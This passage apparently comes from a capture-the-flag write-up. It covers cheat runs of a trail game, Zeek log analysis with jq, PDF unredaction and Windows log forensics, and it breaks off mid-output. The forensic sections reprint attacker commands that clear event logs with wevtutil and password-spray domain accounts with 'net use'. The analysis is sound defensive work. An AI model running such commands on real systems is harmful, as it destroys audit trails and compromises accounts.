# python3 hnt.py --playerid=JebediahSpringfield --difficulty=hard --pace=2 --extrareindeer=0 --extrarunners=0 --extrafood=0 --
extrameds=30 --extraammo=0 --proxy --proxy_host=127.0.0.1 --proxy_port=8080

GAME OPTIONS: Difficulty:[Hard] - Pace:[Grueling] - ExtraReindeer:[0] - ExtraRunners:[0] - ExtraFood:[0] - Extrameds:[30] - Extraammo:[0]
!!!! CHEAT CODES ACTIVE: [none]

STATUS - [
    GO [Hard] [GRUELING] [Dist/Left:0000/8000] [Date:09/01] [Money:0000] [Reindr:02] [Runrs:02] [Ammo:010] [Meds:032] [Food:100] [Heath:100/100/100/100]
    [Ready to begin? Click MEDS to raise the health of an injured part member.|Press HUNT to spend a day hunting for food.|Press TRADE if you want to look for someone to trade with you.|And press
    GO if you're ready to move along the Trail!]]

STATUS - [
    GO [Hard] [GRUELING] [Dist/Left:0060/7940] [Date:09/02] [Money:0000] [Reindr:02] [Runrs:02] [Ammo:010] [Meds:032] [Food:084] [Heath:100/100/100/100]
    [The reindeer are able to pull your sleigh forward a distance of 60 today.]

STATUS - [
    GO [Hard] [GRUELING] [Dist/Left:0140/7860] [Date:09/03] [Money:0000] [Reindr:02] [Runrs:02] [Ammo:010] [Meds:032] [Food:068] [Heath:100/100/100/100]
    [The reindeer are able to pull your sleigh forward a distance of 80 today.]

STATUS - [
    GO [Hard] [GRUELING] [Dist/Left:0230/7770] [Date:09/04] [Money:0000] [Reindr:02] [Runrs:02] [Ammo:010] [Meds:032] [Food:052] [Heath:100/100/100/100]
    [The reindeer are able to pull your sleigh forward a distance of 80 today.]

STATUS - [
    GO [Hard] [GRUELING] [Dist/Left:0293/7707] [Date:09/05] [Money:0000] [Reindr:02] [Runrs:02] [Ammo:010] [Meds:032] [Food:036] [Heath:100/100/100/100]
    [The reindeer are able to pull your sleigh forward a distance of 63 today.]

STATUS - [
    GO [Hard] [GRUELING] [Dist/Left:0378/7622] [Date:09/06] [Money:0000] [Reindr:02] [Runrs:02] [Ammo:010] [Meds:032] [Food:020] [Heath:100/100/100/100]
    [The reindeer are able to pull your sleigh forward a distance of 85 today.]

STATUS - [
    HUNT [Hard] [GRUELING] [Dist/Left:0467/7533] [Date:09/07] [Money:0000] [Reindr:02] [Runrs:02] [Ammo:010] [Meds:032] [Food:004] [Heath:100/100/100/100]
    [The reindeer are able to pull your sleigh forward a distance of 89 today.]

...

STATUS - [
    GO [Hard] [GRUELING] [Dist/Left:7561/0439] [Date:12/09] [Money:0000] [Reindr:03] [Runrs:03] [Ammo:000] [Meds:002] [Food:000] [Heath:097/015/038/035]
    [Lila was healed by 24 points]]

STATUS - [
    MEDS [Hard] [GRUELING] [Dist/Left:7662/0338] [Date:12/10] [Money:0000] [Reindr:03] [Runrs:03] [Ammo:000] [Meds:002] [Food:000] [Heath:096/014/037/030]
    [The reindeer are able to pull your sleigh forward a distance of 101 today.|You have no food. Your party is starving.]

STATUS - [
    GO [Hard] [GRUELING] [Dist/Left:7662/0338] [Date:12/10] [Money:0000] [Reindr:03] [Runrs:03] [Ammo:000] [Meds:001] [Food:000] [Heath:096/048/037/030]
    [Herbert was healed by 34 points]]

STATUS - [
    GO [Hard] [GRUELING] [Dist/Left:7729/0271] [Date:12/11] [Money:0000] [Reindr:03] [Runrs:03] [Ammo:000] [Meds:001] [Food:020] [Heath:088/046/032/026]
    [The reindeer are able to pull your sleigh forward a distance of 67 today.|You have no food. Your party is starving.|You found 20 morsels of Christmas cookies lying around! #whatcouldgowrong]

STATUS - [
    GO [Hard] [GRUELING] [Dist/Left:7820/0180] [Date:12/12] [Money:0000] [Reindr:03] [Runrs:03] [Ammo:000] [Meds:001] [Food:004] [Heath:088/100/033/027]
    [The reindeer are able to pull your sleigh forward a distance of 91 today.|Joy! Herbert was filled with holiday cheer!]]

STATUS - [
    GO [Hard] [GRUELING] [Dist/Left:7881/0119] [Date:12/13] [Money:0000] [Reindr:03] [Runrs:03] [Ammo:000] [Meds:001] [Food:000] [Heath:085/100/029/022]
    [The reindeer are able to pull your sleigh forward a distance of 61 today.|You have no food. Your party is starving.]

STATUS - [
    GO [Hard] [GRUELING] [Dist/Left:7993/0007] [Date:12/14] [Money:0000] [Reindr:03] [Runrs:03] [Ammo:000] [Meds:001] [Food:000] [Heath:082/096/025/017]
    [The reindeer are able to pull your sleigh forward a distance of 112 today.|You have no food. Your party is starving.]

*****
*****
*****
!!! VICTORY !!!: [Your party has succeeded!] - POST RESULTS: ((hash:"f3e41a22416c2397460403fa82d48307f4379da95d41d5e366b55a1e775c5d41", resourceId:"JebediahSpringfield"));[Sam is joyful!|Herbert is ec
static!|Joseph is ready to jingle bell rock!|Lila is happier than an elf in a toy shop!|Date completed:[15 December|Reindeer remaining:[3]|Money remaining:[0]|Scoring:[4 surviving party members X|1000 =|
4000 points|3 reindeer X|400 =|1200 points]|Money left X|1 =|0 points]|Journey completed on|15 December:[10 days before Christmas X|50 =|500 points]|Total score: ((|4000 +|1200 +|0 +|500) X|8 Hard multip
lier =|45600)|Verification hash:|e1c969bdf37a4a02e62d152278b8b25]|Play again?|<|-- 1 - When I'm down, my F12 key consoles me2 - Reminds me of the transition to the paperless naughty/nice list...3 - Lik
e a present stuck in the chimney! It got sent...4 - We keep that next to the cookie jar5 - My title is toy maker the combination is 123456 - Are we making hologram elf trading cards this year?7 - If w
e are, we should have a few fonts to choose from8 - The parents of spoiled kids go on the naughty list...9 - Some toys have to be forced active10 - Sometimes when I'm working, I slide my hat to the left
and move odd things onto my scalp! -->]]
*****
*****
*****
```

Here is a sample run in MEDIUM difficulty with the "lightspeed" and "maxall" cheat codes:

```
# python3 hnt.py --playerid=JebediahSpringfield --difficulty=medium --pace=2 --extrareindeer=1 --extrarunners=1 --extrafood=5 --extrameds=2 --e
xtraammo=5 --proxy --proxy_host=127.0.0.1 --proxy_port=8080 --lightspeed --maxall

GAME OPTIONS: Difficulty:[Medium] - Pace:[Grueling] - ExtraReindeer:[1] - ExtraRunners:[1] - ExtraFood:[5] - Extrameds:[2] - Extraammo:[5]
!!!! CHEAT CODES ACTIVE: [lightspeed maxammo maxmeds maxfood maxreindeer maxrunners maxmoney]

STATUS - [
    GO [Medium] [GRUELING] [Dist/Left:0738/7262] [Date:08/01] [Money:9999] [Reindr:99] [Runrs:99] [Ammo:999] [Meds:999] [Food:9999] [Heath:100/100/100/100]
    [Ready to begin? Click MEDS to raise the health of an injured part member.|Press HUNT to spend a day hunting for food.|Press TRADE if you want to look for someone to trade with you.|And press GO if you're rea
    dy to move along the Trail!]]

STATUS - [
    GO [Medium] [GRUELING] [Dist/Left:1033/6167] [Date:08/02] [Money:9999] [Reindr:99] [Runrs:99] [Ammo:999] [Meds:999] [Food:9999] [Heath:100/100/100/100]
    [The reindeer are able to pull your sleigh forward a distance of 95 today.]

STATUS - [
    GO [Medium] [GRUELING] [Dist/Left:2561/5439] [Date:08/03] [Money:9999] [Reindr:99] [Runrs:99] [Ammo:999] [Meds:999] [Food:9999] [Heath:100/100/100/100]
    [The reindeer are able to pull your sleigh forward a distance of 126 today.]

STATUS - [
    GO [Medium] [GRUELING] [Dist/Left:3477/4523] [Date:08/04] [Money:9999] [Reindr:99] [Runrs:99] [Ammo:999] [Meds:999] [Food:9999] [Heath:100/100/100/100]
    [The reindeer are able to pull your sleigh forward a distance of 104 today.|Oh no! Chris was struck with Low Blood Sugar]

STATUS - [
    GO [Medium] [GRUELING] [Dist/Left:4374/3626] [Date:08/05] [Money:9999] [Reindr:99] [Runrs:99] [Ammo:999] [Meds:999] [Food:9999] [Heath:099/100/100/100]
    [The reindeer are able to pull your sleigh forward a distance of 86 today.]

STATUS - [
    GO [Medium] [GRUELING] [Dist/Left:5115/2885] [Date:08/06] [Money:9999] [Reindr:99] [Runrs:99] [Ammo:999] [Meds:999] [Food:9999] [Heath:098/100/100/100]
    [The reindeer are able to pull your sleigh forward a distance of 103 today.|Chris suddenly feels better!]]

STATUS - [
    GO [Medium] [GRUELING] [Dist/Left:6017/1983] [Date:08/07] [Money:9999] [Reindr:99] [Runrs:99] [Ammo:999] [Meds:999] [Food:9999] [Heath:099/100/100/100]
    [The reindeer are able to pull your sleigh forward a distance of 102 today.]

STATUS - [
    GO [Medium] [GRUELING] [Dist/Left:6871/1129] [Date:08/08] [Money:9999] [Reindr:99] [Runrs:99] [Ammo:999] [Meds:999] [Food:9999] [Heath:100/100/100/100]
    [The reindeer are able to pull your sleigh forward a distance of 86 today.|Oh no! Lila was struck with Low Blood Sugar]

STATUS - [
    GO [Medium] [GRUELING] [Dist/Left:7680/0320] [Date:08/09] [Money:9999] [Reindr:99] [Runrs:99] [Ammo:999] [Meds:999] [Food:9999] [Heath:100/100/100/099]
    [The reindeer are able to pull your sleigh forward a distance of 80 today.]

STATUS - [
    GO [Medium] [GRUELING] [Dist/Left:8840/-840] [Date:08/10] [Money:9999] [Reindr:99] [Runrs:99] [Ammo:999] [Meds:999] [Food:9999] [Heath:100/100/100/097]
    [The reindeer are able to pull your sleigh forward a distance of 111 today.|A strong, Christmas wind pushed your sleigh ahead an extra 176!]]

*****
*****
*****
!!! VICTORY !!!: [Your party has succeeded!] - POST RESULTS: ((hash:"f3e41a22416c2397460403fa82d48307f4379da95d41d5e366b55a1e775c5d41", resourceId:"JebediahSpringfield"));[Chris is ready to jingle bell rock!|Michael
is having the best Christmas ever!|Joseph is wicked psyched!|Lila is wicked psyched!|Date completed:[11 August|Reindeer remaining:[99]|Money remaining:[9999]|Scoring:[4 surviving party members X|1000 =|4000 points]|99 re
indeer X|400 =|39600 points]|9999 money left X|1 =|9999 points]|Journey completed on|11 August:[136 days before Christmas X|50 =|6800 points]|Total score: ((|4000 +|39600 +|9999 +|6800) X|4 Medium multiplier =|241561)|Ver
ification hash:|63c1f6140ff20818099f021d8dc2647]|Play again?|<|-- Wow! What a great job! ... But I think you can do even BETTER.-->]]
*****
*****
*****
```




THE HOLIDAY HACK TRAIL

YOUR PARTY HAS SUCCEEDED./

HERBERT IS HAPPIER THAN AN ELF IN A TOY SHOP./
MICHAEL IS OVER THE MOON./
EMMA IS HAVING THE BEST CHRISTMAS EVER./
MILDRED IS OVERJOYED./
DATE COMPLETED: 6 DECEMBER
REINDEER REMAINING: 4
MONEY REMAINING: 0

SCORING:

4 SURVIVING PARTY MEMBERS X 1000 = 4000 POINTS
4 REINDEER X 400 = 1600 POINTS
0 MONEY LEFT X 1 = 0 POINTS
JOURNEY COMPLETED ON 6 DECEMBER: 19 DAYS
BEFORE CHRISTMAS X 50 = 950 POINTS
TOTAL SCORE: (4000 + 1600 + 0 + 950) X 8 HARD
MULTIPLIER = 52400./
VERIFICATION HASH:
7B786BBAFBE460B5E71DAF18D3212B3E

PLAY AGAIN?

You have completed the Holiday Hack Trail challenge!




:-) This brought back some happy memories :-)




Achievement - Teleportation via Steam Tunnels

This challenge is found in the Steam Tunnels and interacting with Krampus Hollyfeld after you complete Objective 8 - Frido Sleigh CAPTEHA, will grant this capability.



To help you, I have flashed the firmware in your badge to unlock a useful new feature: magical teleportation through the steam tunnels.

This new capability allows you to fast travel to the major areas of ElfU. The fast travel map is shown here below and you can click on the map boxes to transport you to that location.



As you were exploring, did you ever wonder if those vents had a purpose? Yes, they do! These vents are where you appear from when you teleport through the Steam Tunnels to these locations.

Steam Tunnel Vent - Train Station:



Steam Tunnel Vent - Quad:



Steam Tunnel Vent - Student Union:




Steam Tunnel Vent - Hermey Hall:



Steam Tunnel Vent - Dorm:




Steam Tunnel Vent - Krampus' Lair:



Whee! You can now use the steam tunnels to move quickly around Elf U!

Achievement - Zeek JSON Analysis

This challenge is found in the Sleigh Shop room and interacting with Wunorse Openslae will introduce this challenge.



Wunorse Openslae here, just looking at some Zeek logs.
I'm pretty sure one of these connections is a malicious C2 channel...
Do you think you could take a look?
I hear a lot of C2 channels have very long connection times.
Please use jq to find the longest connection in this data set.
We have to kick out any and all grinchy activity!

You can begin the challenge by clicking on the "Zeek JSON Analysis" terminal icon.

This excellent post was very helpful here: <https://pen-testing.sans.org/blog/2019/12/03/parsing-zeek-json-logs-with-jq-2>
Using jq magic, then sort and tail you get the answer:

```
Some JSON files can get quite busy.
There's lots to see and do.
Does C&C lurk in our data?
JQ's the tool for you!

-Wunorse Openslae

Identify the destination IP address with the longest connection duration
using the supplied Zeek logfile. Run runtoanswer to submit your answer.

elf@cadb4e033458:~$ ls -al
total 48900
drwxr-xr-x 1 elf elf 4096 Dec 13 18:31 .
drwxr-xr-x 1 root root 4096 Nov 18 20:19 ..
-rw-r--r-- 1 elf elf 220 Apr 18 2019 .bash_logout
-rw-r--r-- 1 elf elf 3549 Dec 13 18:31 .bashrc
-rw-r--r-- 1 elf elf 280 Dec 12 14:01 .message
-rw-r--r-- 1 elf elf 807 Apr 18 2019 .profile
-rw-r--r-- 1 elf elf 50047602 Nov 18 19:53 conn.log
elf@cadb4e033458:~$ cat conn.log | jq -j '.duration, ",", .["id.resp_h"],"\n"' | sort -n | ta
il -1
1019365.337758, 13.107.21.200
elf@cadb4e033458:~$ runtoanswer
Loading, please wait.....

What is the destination IP address with the longest connection duration? 13.107.21.200

Thank you for your analysis, you are spot-on.
I would have been working on that until the early dawn.
Now that you know the features of jq,
You'll be able to answer other challenges too.

-Wunorse Openslae

Congratulations!

elf@cadb4e033458:~$ uname -a
Linux cadb4e033458 4.19.0-6-cloud-amd64 #1 SMP Debian 4.19.67-2+deb10u2 (2019-11-11) x86_64 GN
U/Linux
elf@cadb4e033458:~$
```

```
cat conn.log | jq -j '.duration, ",", .["id.resp_h"],"\n"' | sort -n | tail -1
runtoanswer
13.107.21.200
```

You have completed the Zeek JSON
Analysis challenge!

Objective Challenges

Objective 0 – Talk to Santa in the Quad




From the Train Station, go north into the Quad and find Santa holding an umbrella. Clicking on Santa will cycle through all the dialog which can also be seen in the chat list history. Do this completes Objective 0, unlocks Objective 1-5 in your badge and Narrative 2. See Characters section for all character dialog.

✓ 0) Talk to Santa in the Quad

Enter the campus quad and talk to Santa.

Objective 1 – Find the Turtle Doves

After speaking with Santa (umbrella) in the Quad, head north through the Quad and enter the Student Union building. To the left of the fireplace you will find the two turtle doves, Michael and Jane. Click on them to acknowledge finding them.



✓ 1) Find the Turtle Doves

Find the missing turtle doves.

Thank you for finding our two turtle doves!

Objective 2 – Unredact Threatening Document

Leave the Student Union and go back to the Quad. Head to the northwest corner of the Quad and you will find a document icon partially visible behind one of the trees. Click on the document image to download "LetterToElfUPersonnel.pdf" (<https://downloads.elfu.org/LetterToElfUPersonnel.pdf>).



Open the pdf document and find that some of the text has been redacted.

Date: February 28, 2019

To the Administration, Faculty, and Staff of Elf University
17 Christmas Tree Lane
North Pole

From: A Concerned and Aggrieved Character

S
E [Redacted] Confidential

Attention All Elf University Personnel,


[Redacted] Confidential

If you do not accede to our demands, we will be forced to take matters into our own hands. We do not make this threat lightly. You have less than six months to act demonstrably.

Sincerely,

--A Concerned and Aggrieved Character

Click and hold in the upper left of the redacted text and drag highlight/select across the redacted area making sure it's all selected. When selected correctly, it will appear as below. Then copy this selected text with Ctrl+c and paste into a text editor to reveal the redacted text.



Here is the full text of the document with the previously redacted area shown in gray

Date: February 28, 2019

To the Administration, Faculty, and Staff of Elf University
17 Christmas Tree Lane
North Pole

From: A Concerned and Aggrieved Character

Subject: DEMAND: Spread Holiday Cheer to Other Holidays and Mythical Characters... OR ELSE!

Attention All Elf University Personnel,

It remains a constant source of frustration that Elf University and the entire operation at the North Pole focuses exclusively on Mr. S. Claus and his year-end holiday spree. We URGE you to consider lending your considerable resources and expertise in providing merriment, cheer, toys, candy, and much more to other holidays year-round, as well as to other mythical characters.

For centuries, we have expressed our frustration at your lack of willingness to spread your cheer beyond the inaptly-called "Holiday Season." There are many other perfectly fine holidays and mythical characters that need your direct support year-round.

If you do not accede to our demands, we will be forced to take matters into our own hands. We do not make this threat lightly. You have less than six months to act demonstrably.

Sincerely,

--A Concerned and Aggrieved Character

The answer to Objective 2 needed for the badge question is the string: **DEMAND**

✓ 2) Unredact Threatening Document

Difficulty: 🟡 🌲 🌲 🌲 🌲

Someone sent a threatening letter to Elf University. What is the first word in ALL CAPS in the subject line of the letter? Please find the letter in the Quad.

DEMAND Submit

✓ 2) Unredact Threatening Document

Difficulty: 🟡 🌲 🌲 🌲 🌲

Someone sent a threatening letter to Elf University. What is the first word in ALL CAPS in the subject line of the letter? Please find the letter in the Quad.

Objective 3 – Windows Log Analysis: Evaluate Attack Outcome

Everything needed to complete this objective is provided in the badge description for Objective 3 and dialog from Bushy Evergreen:

Bushy Evergreen

Have you taken a look at the password spray attack artifacts?

I'll bet that DeepBlueCLI tool is helpful.


You can check it out on GitHub.

It was written by that Eric Conrad.

He lives in Maine - not too far from here!

A link is provided to download the Security Event log (<https://downloads.elfu.org/Security.evtx.zip>) for analysis. Once downloaded, unzip it into a directory for analysis. There are several tools and methods that could have been used to parse and analyze this Security.evtx. I chose to use DeepBlueCLI in order to learn this tool and which can be cloned from here: <https://github.com/sans-blue-team/DeepBlueCLI>.

There are several git clients for Windows, including in Visual Studio. I used Cygwin's git for Windows:



```
C:\working>git clone https://github.com/sans-blue-team/DeepBlueCLI
Cloning into 'DeepBlueCLI'...
remote: Enumerating objects: 7, done.
remote: Counting objects: 100% (7/7), done.
remote: Compressing objects: 100% (6/6), done.
remote: Total 469 (delta 1), reused 3 (delta 1), pack-reused 462
Receiving objects: 100% (469/469), 5.54 MiB | 6.06 MiB/s, done.
Resolving deltas: 100% (259/259), done.
```

```
C:\working>
```

Next launch PowerShell allowing execution and run DeepBlueCLI.ps1 against the Security.evtx file:

```
C:\working\DeepBlueCLI>powershell -exec bypass
Windows PowerShell
Copyright (C) 2009 Microsoft Corporation. All rights reserved.

PS C:\working\DeepBlueCLI> .\DeepBlue.ps1 .\Security.evtx | Out-GridView
PS C:\working\DeepBlueCLI>
```

The Gridview is helpful to quickly identify logon attempts which are excessive. One account, *supatree*, stands out as having 1 less total login failure than the rest (76 vs 77)

.\DeepBlue.ps1 .\password-spray.evtx Out-GridView	
Filter	
+ Add criteria ▼	
Name	Value
Date	8/23/2019 8:00:20 PM
Message	High number of logon failures for one account
Log	Security
EventID	4672
Results	Username: gchocolatewine Total logon failures: 77
Decoded Command	
Date	8/23/2019 8:00:20 PM
Message	High number of logon failures for one account
Log	Security
EventID	4672
Results	Username: lstripyleaves Total logon failures: 77
Decoded Command	
Date	8/23/2019 8:00:20 PM
Message	High number of logon failures for one account
Log	Security
EventID	4672
Results	Username: supatree Total logon failures: 76
Decoded Command	
Date	8/23/2019 8:00:20 PM
Message	High number of logon failures for one account
Log	Security
EventID	4672
Results	Username: smary Total logon failures: 77
Decoded Command	
Date	8/23/2019 8:00:20 PM
Message	High number of logon failures for one account
Log	Security
EventID	4672
Results	Username: ftwinklestockings Total logon failures: 77






Looking further, we find a successful login with user supatree. Looks like a successful password spray attack against this user!

.\DeepBlue.ps1 .\password-spray.evtx Out-GridView	
Filter	
+ Add criteria ▼	
Name	Value
Date	8/23/2019 8:00:20 PM
Message	Multiple admin logons for one account
Log	Security
EventID	4672
Results	Username: supatree User SID Access Count: 2
Decoded Command	

Using another tool called evtx2json (<https://github.com/vavarachen/evtx2json>) and then parsing the json file manually for the user "supatree" and events 4624 and 4625, I was able to determine that it was the 2nd password attempted (out of the 77) that was the one that was a successful logon and sent at timestamp: 2019-11-19 12:21:45.755442 UTC. I will use this bit of information later in Objective 4.






The answer to Objective 3 needed for the badge question is the string: **supatree**

3) Windows Log Analysis: Evaluate Attack Outcome

Difficulty:     

We're seeing attacks against the Elf U domain! Using the event log data, identify the user account that the attacker compromised using a password spray attack. *Bushy Evergreen is hanging out in the train station and may be able to help you out.*

3) Windows Log Analysis: Evaluate Attack Outcome

Difficulty:     

We're seeing attacks against the Elf U domain! Using the log data, identify the user account that the attacker compromised using a password spray attack. *Bushy Evergreen is hanging out in the train station and may be able to help you out.*

Congratulations! You have completed the Windows Log Analysis: Evaluate Attack Outcome challenge!

Objective 4 – Windows Log Analysis: Determine Attacker Technique

Everything needed to complete this objective is provided in the badge description for Objective 4 and dialog from SugarPlum Mary:

SugarPlum Mary

Have you tried the Sysmon and EQL challenge?

If you aren't familiar with Sysmon, Carlos Perez has some great info about it.


Haven't heard of the Event Query Language?

Check out some of Ross Wolf's work on EQL or that blog post by Josh Wright in your badge.

A link is included to download the Sysmon log (<https://downloads.elfu.org/sysmon-data.json.zip>) for analysis. Once downloaded, unzip it into a directory for analysis. Once again, there are several tools and methods that could have been used to parse and analyze this json file. I chose to use EQL and the Slingshot distro to learn these tools.


After a few initial EQL queries focusing on the command_line parameter, four malicious activities are revealed:

1. The use of the `wevtutil.exe` command to clear 182 event logs, indicating the attacker covering their tracks.



```
slingshot@slingshot: ~/working
File Edit View Search Terminal Help
slingshot@slingshot:~/working$ eql query -f sysmon-data.json 'process where command_line = "wevtutil*" | jq (command_line) | grep command_line'
"command_line": "\\\\C:\\Windows\\system32\\wevtutil.exe" cl Microsoft-Windows-SmbClient\\Security
"command_line": "\\\\C:\\Windows\\system32\\wevtutil.exe" cl Microsoft-Windows-StateRepository\\Debug
"command_line": "\\\\C:\\Windows\\system32\\wevtutil.exe" cl Microsoft-Windows-StateRepository\\Diagnostic
"command_line": "\\\\C:\\Windows\\system32\\wevtutil.exe" cl Microsoft-Windows-StateRepository\\Operational
"command_line": "\\\\C:\\Windows\\system32\\wevtutil.exe" cl Microsoft-Windows-StateRepository\\Restricted
"command_line": "\\\\C:\\Windows\\system32\\wevtutil.exe" cl Microsoft-Windows-Storage\\Operational
"command_line": "\\\\C:\\Windows\\system32\\wevtutil.exe" cl Microsoft-Windows-StorPort\\Operational
"command_line": "\\\\C:\\Windows\\system32\\wevtutil.exe" cl Microsoft-Windows-Storage-ATAPort\\Admin
"command_line": "\\\\C:\\Windows\\system32\\wevtutil.exe" cl Microsoft-Windows-Storage-ATAPort\\Analytic
"command_line": "\\\\C:\\Windows\\system32\\wevtutil.exe" cl Microsoft-Windows-Storage-ATAPort\\Debug
"command_line": "\\\\C:\\Windows\\system32\\wevtutil.exe" cl Microsoft-Windows-Storage-ATAPort\\Diagnose
"command_line": "\\\\C:\\Windows\\system32\\wevtutil.exe" cl Microsoft-Windows-Storage-ATAPort\\Operational
"command_line": "\\\\C:\\Windows\\system32\\wevtutil.exe" cl Microsoft-Windows-Storage-ClassPnP\\Admin
"command_line": "\\\\C:\\Windows\\system32\\wevtutil.exe" cl Microsoft-Windows-Storage-ClassPnP\\Analytic
"command_line": "\\\\C:\\Windows\\system32\\wevtutil.exe" cl Microsoft-Windows-Storage-ClassPnP\\Debug
"command_line": "\\\\C:\\Windows\\system32\\wevtutil.exe" cl Microsoft-Windows-Storage-ClassPnP\\Diagnose
"command_line": "\\\\C:\\Windows\\system32\\wevtutil.exe" cl Microsoft-Windows-Storage-ClassPnP\\Operational
"command_line": "\\\\C:\\Windows\\system32\\wevtutil.exe" cl Microsoft-Windows-Storage-Disk\\Admin
"command_line": "\\\\C:\\Windows\\system32\\wevtutil.exe" cl Microsoft-Windows-Storage-Disk\\Analytic
"command_line": "\\\\C:\\Windows\\system32\\wevtutil.exe" cl Microsoft-Windows-Storage-Disk\\Debug
"command_line": "\\\\C:\\Windows\\system32\\wevtutil.exe" cl Microsoft-Windows-Storage-Disk\\Diagnose
"command_line": "\\\\C:\\Windows\\system32\\wevtutil.exe" cl Microsoft-Windows-Storage-Disk\\Operational
"command_line": "\\\\C:\\Windows\\system32\\wevtutil.exe" cl Microsoft-Windows-Storage-StorPort\\Admin
"command_line": "\\\\C:\\Windows\\system32\\wevtutil.exe" cl Microsoft-Windows-Storage-StorPort\\Analytic
"command_line": "\\\\C:\\Windows\\system32\\wevtutil.exe" cl Microsoft-Windows-Storage-StorPort\\Debug
"command_line": "\\\\C:\\Windows\\system32\\wevtutil.exe" cl Microsoft-Windows-Storage-StorPort\\Diagnose
"command_line": "\\\\C:\\Windows\\system32\\wevtutil.exe" cl Microsoft-Windows-Storage-StorPort\\Health
"command_line": "\\\\C:\\Windows\\system32\\wevtutil.exe" cl Microsoft-Windows-Storage-StorPort\\Operational
"command_line": "\\\\C:\\Windows\\system32\\wevtutil.exe" cl Microsoft-Windows-Storage-Tiering\\ToHost\\Heat
"command_line": "\\\\C:\\Windows\\system32\\wevtutil.exe" cl Microsoft-Windows-Storage-Tiering\\Admin
"command_line": "\\\\C:\\Windows\\system32\\wevtutil.exe" cl Microsoft-Windows-StorageManagement\\Debug
"command_line": "\\\\C:\\Windows\\system32\\wevtutil.exe" cl Microsoft-Windows-StorageManagement\\Operational
"command_line": "\\\\C:\\Windows\\system32\\wevtutil.exe" cl Microsoft-Windows-StorSpaces-Driver\\Diagnostic
"command_line": "\\\\C:\\Windows\\system32\\wevtutil.exe" cl Microsoft-Windows-StorSpaces-Driver\\Operational
```

2. The use of `net.exe` to perform a password spray attack against 31 ELFU domain accounts trying 77 passwords on each account, one password per second approximately. There were actually 72 unique passwords in the 77 passwords attempted per account, where 3 passwords (PasswOrd, Princess1 & Winter2020) were attempted twice and 1 password (Password1) attempted 3 times - not good tradecraft. Additionally, in many domain environments having this many failed-logon attempts per account would have locked out all 31 domain accounts, resulting in a denial of service (also not good tradecraft).



```
slingshot@slingshot: ~/working
File Edit View Search Terminal Help
slingshot@slingshot:~/working$ eql query -f sysmon-data.json 'process where command_line = "net*" | jq (command_line) | grep command_line'
"command_line": "net use \\\\127.0.0.1\\IPC$ /user:ELFU\\Administrator 775Summer2019"
"command_line": "net use \\\\127.0.0.1\\IPC$ /user:ELFU\\bbrandybeaves 775Summer2019"
"command_line": "net use \\\\127.0.0.1\\IPC$ /user:ELFU\\bevergreen 775Summer2019"
"command_line": "net use \\\\127.0.0.1\\IPC$ /user:ELFU\\civysparkles 775Summer2019"
"command_line": "net use \\\\127.0.0.1\\IPC$ /user:ELFU\\cjingbeuns 775Summer2019"
"command_line": "net use \\\\127.0.0.1\\IPC$ /user:ELFU\\cstripyfluff 775Summer2019"
"command_line": "net use \\\\127.0.0.1\\IPC$ /user:ELFU\\cwparkleaves 775Summer2019"
"command_line": "net use \\\\127.0.0.1\\IPC$ /user:ELFU\\cwparklesleigh 775Summer2019"
"command_line": "net use \\\\127.0.0.1\\IPC$ /user:ELFU\\ftinselties 775Summer2019"
"command_line": "net use \\\\127.0.0.1\\IPC$ /user:ELFU\\ftinklestockings 775Summer2019"
"command_line": "net use \\\\127.0.0.1\\IPC$ /user:ELFU\\gcandyfluff 775Summer2019"
"command_line": "net use \\\\127.0.0.1\\IPC$ /user:ELFU\\gchocolatewine 775Summer2019"
"command_line": "net use \\\\127.0.0.1\\IPC$ /user:ELFU\\hcandynaps 775Summer2019"
"command_line": "net use \\\\127.0.0.1\\IPC$ /user:ELFU\\hevergreen 775Summer2019"
"command_line": "net use \\\\127.0.0.1\\IPC$ /user:ELFU\\lstripybeaves 775Summer2019"
"command_line": "net use \\\\127.0.0.1\\IPC$ /user:ELFU\\lstruffleig 775Summer2019"
"command_line": "net use \\\\127.0.0.1\\IPC$ /user:ELFU\\mbrandybells 775Summer2019"
"command_line": "net use \\\\127.0.0.1\\IPC$ /user:ELFU\\mstripyleigh 775Summer2019"
"command_line": "net use \\\\127.0.0.1\\IPC$ /user:ELFU\\pbrandyberry 775Summer2019"
"command_line": "net use \\\\127.0.0.1\\IPC$ /user:ELFU\\pgreenbells 775Summer2019"
"command_line": "net use \\\\127.0.0.1\\IPC$ /user:ELFU\\sary 775Summer2019"
"command_line": "net use \\\\127.0.0.1\\IPC$ /user:ELFU\\smullingfluff 775Summer2019"
"command_line": "net use \\\\127.0.0.1\\IPC$ /user:ELFU\\sscarlepie 775Summer2019"
"command_line": "net use \\\\127.0.0.1\\IPC$ /user:ELFU\\supatree 775Summer2019"
"command_line": "net use \\\\127.0.0.1\\IPC$ /user:ELFU\\tandymbubbles 775Summer2019"
"command_line": "net use \\\\127.0.0.1\\IPC$ /user:ELFU\\tinselsbubbles 775Summer2019"
"command_line": "net use \\\\127.0.0.1\\IPC$ /user:ELFU\\twinterfig 775Summer2019"
"command_line": "net use \\\\127.0.0.1\\IPC$ /user:ELFU\\wopenslae 775Summer2019"
"command_line": "net use \\\\127.0.0.1\\IPC$ /user:ELFU\\yppidentrifle 775Summer2019"
"command_line": "net use \\\\127.0.0.1\\IPC$ /user:ELFU\\ygreempie 775Summer2019"
"command_line": "net use \\\\127.0.0.1\\IPC$ /user:ELFU\\Administrator PasswOrd1"
"command_line": "net use \\\\127.0.0.1\\IPC$ /user:ELFU\\bbrandybeaves PasswOrd1"
"command_line": "net use \\\\127.0.0.1\\IPC$ /user:ELFU\\bevergreen PasswOrd1"
```


This password spray appears to be the same or at least similar to one analyzed in Objective 3. Correlating data from Objective 3, it was the 2nd password sent to the **supatree** account that resulted in a successful login and the 2nd password sent chronologically was: **PasswOrd1**

This is likely the password for the ELFU\supatree domain account.

```
slingshot@slingshot: ~/working
File Edit View Search Terminal Help
slingshot@slingshot:~/working$ eql query -f sysmon-data.json 'process where command_line = "net user*supatree*" | jq {command_line}'
{
  "command_line": "net use \\127.0.0.1\\IPC$ /user:ELFU\\supatree ???Summer2019 ",
  "event_type": "process",
  "logon_id": 999,
  "parent_process_name": "services.exe",
  "parent_process_path": "C:\\Windows\\System32\\services.exe",
  "pid": 3812,
  "ppid": 616,
  "process_name": "cmd.exe",
  "process_path": "C:\\Windows\\System32\\cmd.exe",
  "subprocess": "create",
  "timestamp": "132186397959850000",
  "unique_pid": "(7431d376-deb3-5dd3-0000-001096a84f00)",
  "unique_ppid": "(7431d376-cd7f-5dd3-0000-001010910000)",
  "user": "NT AUTHORITY\\SYSTEM",
  "user_domain": "NT AUTHORITY",
